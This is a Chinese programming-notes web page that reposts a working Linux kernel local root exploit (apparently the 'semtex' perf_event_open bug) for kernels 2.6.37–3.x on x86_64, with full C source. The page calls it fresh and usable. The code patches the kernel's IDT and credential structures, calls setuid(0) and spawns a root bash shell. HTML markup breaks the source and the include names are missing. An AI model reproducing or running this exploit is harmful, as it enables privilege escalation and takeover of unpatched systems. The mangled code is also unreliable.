热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

linuxrootexpfor2.6.373.x.xx86_64

国外黑客发现Linux内核2.6.37-3.8.9版本一个漏洞,成功利用该漏洞可能获得特权用户,还算新鲜,转来给大家看看。比较好用的~**linux2.6.37-3.x.x

国外黑客发现Linux 内核2.6.37-3.8.9版本一个漏洞,成功利用该漏洞可能获得特权用户,还算新鲜,转来给大家看看。比较好用的~

bubuko.com,布布扣 title="linuxroot" class="aligncenter size-medium wp-image-1392"
src="https://img.php1.cn/3cd4a/1eebe/cd5/5b97d3b808d031e2.webp">







/*

class="php spaces"> * linux
2.6.37-3.x.x x86_64, ~100 LOC

class="php spaces"> * gcc-4.6 -O2
semtex.c && ./a.out

class="php spaces"> * 2010
sd@fucksheep.org, salut!

class="php spaces"> *

class="php spaces"> * update may
2013:

class="php spaces"> * seems like
centos 2.6.32 backported the perf bug, lol.

class="php spaces"> * jewgold to
115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist.

class="php spaces"> */

class="php spaces">  

#define
_GNU_SOURCE 1

class="php plain">#include class="php plain">

class="php plain">#include class="php plain">

class="php plain">#include class="php plain">

class="php plain">#include class="php plain">

class="php plain">#include class="php plain">

class="php plain">#include class="php plain">

class="php plain">#include class="php plain">

class="php plain">#include class="php plain">

class="php plain">#include class="php plain">

class="php spaces">  

#define
BASE  0x380000000

#define
SIZE  0x010000000

#define
KSIZE  0x2000000

#define
AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))

class="php spaces">  

void
fuck() {

int i,j,k;

uint64_t
uids[4] = { AB(2), AB(3), AB(4), AB(5) };

uint8_t
*current = *(uint8_t **)(((uint64_t)uids) & (-8192));

uint64_t
kbase = ((uint64_t)current)>>36;

uint32_t
*fixptr = (void*) AB(1);

*fixptr =
-1;

class="php spaces">  

class="php keyword">for (i=0;
i<4000; i+=4) {

uint64_t
*p = (void *)¤t[i];

uint32_t
*t = (void*) p[0];

class="php keyword">if ((p[0] != p[1]) ||
((p[0]>>36) != kbase))
class="php keyword">continue;

class="php keyword">for (j=0; j<20;
j++) {
for class="php plain">(k = 0; k <8; k++)

class="php keyword">if class="php plain">(((uint32_t*)uids)[k] != t[j+k]) goto
next;

class="php keyword">for (i = 0; i <8;
i++) t[j+i] = 0;

class="php keyword">for (i = 0; i <10;
i++) t[j+9+i] = -1;

class="php keyword">return;

next:; }

}

}

class="php spaces">  

void
sheep(uint32_t off) {

uint64_t
buf[10] = { 0x4800000001,off,0,0,0,0x300 };

int fd =
syscall(298, buf, 0, -1, -1, 0);

class="php plain">assert(!close(fd));

}

class="php spaces">  

int main()
{

class="php plain">uint64_t  u,g,needle, kbase, *p; uint8_t *code;

uint32_t
*map, j = 5;

int i;

struct {

uint16_t
limit;

uint64_t
addr;

}
__attribute__((packed)) idt;

class="php plain">assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) ==
(void*)BASE);

class="php plain">memset(map, 0, SIZE);

sheep(-1);
sheep(-2);

class="php keyword">for (i = 0; i <
SIZE/4; i++)
if (map[i])
{

class="php plain">assert(map[i+1]);

class="php keyword">break;

}

class="php plain">assert(i

asm
(
"sidt %0" class="php plain">: "=m" class="php plain">(idt));

kbase =
idt.addr & 0xff000000;

u =
getuid(); g = getgid();

class="php plain">assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32,
0, 0)) == (void*)kbase);

class="php plain">memset(code, 0x90, KSIZE); code += KSIZE-1024;
memcpy(code, &fuck, 1024);

class="php plain">memcpy(code-13, class="php string">"\x0f\x01\xf8\xe8\5\x0f\x01\xf8\x48\xcf" class="php plain">,

class="php plain">printf("2.6.37-3.x
x86_64\nsd@fucksheep.org 2010\n"
) % 27);

class="php plain">setresuid(u,u,u); setresgid(g,g,g);

class="php keyword">while (j--) {

needle =
AB(j+1);

assert(p =
memmem(code, 1024, &needle, 8));

class="php keyword">if (!p) class="php keyword">continue;

*p =
j?((g<<32)|u):(idt.addr + 0x48);

}

sheep(-i +
(((idt.addr&0xffffffff)-0x80000000)/4) + 16);

class="php plain">asm("int
$0x4"
); assert(!setuid(0));

class="php keyword">return class="php plain">execl( class="php string">"/bin/bash",
"-sh",
NULL);

class="php plain">}


推荐阅读
  • 本文内容为asp.net微信公众平台开发的目录汇总,包括数据库设计、多层架构框架搭建和入口实现、微信消息封装及反射赋值、关注事件、用户记录、回复文本消息、图文消息、服务搭建(接入)、自定义菜单等。同时提供了示例代码和相关的后台管理功能。内容涵盖了多个方面,适合综合运用。 ... [详细]
  • 基于layUI的图片上传前预览功能的2种实现方式
    本文介绍了基于layUI的图片上传前预览功能的两种实现方式:一种是使用blob+FileReader,另一种是使用layUI自带的参数。通过选择文件后点击文件名,在页面中间弹窗内预览图片。其中,layUI自带的参数实现了图片预览功能。该功能依赖于layUI的上传模块,并使用了blob和FileReader来读取本地文件并获取图像的base64编码。点击文件名时会执行See()函数。摘要长度为169字。 ... [详细]
  • HDU 2372 El Dorado(DP)的最长上升子序列长度求解方法
    本文介绍了解决HDU 2372 El Dorado问题的一种动态规划方法,通过循环k的方式求解最长上升子序列的长度。具体实现过程包括初始化dp数组、读取数列、计算最长上升子序列长度等步骤。 ... [详细]
  • 本文讨论了Alink回归预测的不完善问题,指出目前主要针对Python做案例,对其他语言支持不足。同时介绍了pom.xml文件的基本结构和使用方法,以及Maven的相关知识。最后,对Alink回归预测的未来发展提出了期待。 ... [详细]
  • 本文讨论了如何优化解决hdu 1003 java题目的动态规划方法,通过分析加法规则和最大和的性质,提出了一种优化的思路。具体方法是,当从1加到n为负时,即sum(1,n)sum(n,s),可以继续加法计算。同时,还考虑了两种特殊情况:都是负数的情况和有0的情况。最后,通过使用Scanner类来获取输入数据。 ... [详细]
  • 本文介绍了OC学习笔记中的@property和@synthesize,包括属性的定义和合成的使用方法。通过示例代码详细讲解了@property和@synthesize的作用和用法。 ... [详细]
  • Mac OS 升级到11.2.2 Eclipse打不开了,报错Failed to create the Java Virtual Machine
    本文介绍了在Mac OS升级到11.2.2版本后,使用Eclipse打开时出现报错Failed to create the Java Virtual Machine的问题,并提供了解决方法。 ... [详细]
  • 本文讲述了作者通过点火测试男友的性格和承受能力,以考验婚姻问题。作者故意不安慰男友并再次点火,观察他的反应。这个行为是善意的玩人,旨在了解男友的性格和避免婚姻问题。 ... [详细]
  • 1,关于死锁的理解死锁,我们可以简单的理解为是两个线程同时使用同一资源,两个线程又得不到相应的资源而造成永无相互等待的情况。 2,模拟死锁背景介绍:我们创建一个朋友 ... [详细]
  • 《数据结构》学习笔记3——串匹配算法性能评估
    本文主要讨论串匹配算法的性能评估,包括模式匹配、字符种类数量、算法复杂度等内容。通过借助C++中的头文件和库,可以实现对串的匹配操作。其中蛮力算法的复杂度为O(m*n),通过随机取出长度为m的子串作为模式P,在文本T中进行匹配,统计平均复杂度。对于成功和失败的匹配分别进行测试,分析其平均复杂度。详情请参考相关学习资源。 ... [详细]
  • 本文介绍了通过ABAP开发往外网发邮件的需求,并提供了配置和代码整理的资料。其中包括了配置SAP邮件服务器的步骤和ABAP写发送邮件代码的过程。通过RZ10配置参数和icm/server_port_1的设定,可以实现向Sap User和外部邮件发送邮件的功能。希望对需要的开发人员有帮助。摘要长度:184字。 ... [详细]
  • 动态规划算法的基本步骤及最长递增子序列问题详解
    本文详细介绍了动态规划算法的基本步骤,包括划分阶段、选择状态、决策和状态转移方程,并以最长递增子序列问题为例进行了详细解析。动态规划算法的有效性依赖于问题本身所具有的最优子结构性质和子问题重叠性质。通过将子问题的解保存在一个表中,在以后尽可能多地利用这些子问题的解,从而提高算法的效率。 ... [详细]
  • Java验证码——kaptcha的使用配置及样式
    本文介绍了如何使用kaptcha库来实现Java验证码的配置和样式设置,包括pom.xml的依赖配置和web.xml中servlet的配置。 ... [详细]
  • 本文介绍了使用Java实现大数乘法的分治算法,包括输入数据的处理、普通大数乘法的结果和Karatsuba大数乘法的结果。通过改变long类型可以适应不同范围的大数乘法计算。 ... [详细]
  • 后台获取视图对应的字符串
    1.帮助类后台获取视图对应的字符串publicclassViewHelper{将View输出为字符串(注:不会执行对应的ac ... [详细]
author-avatar
加肥的猫miao_115
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有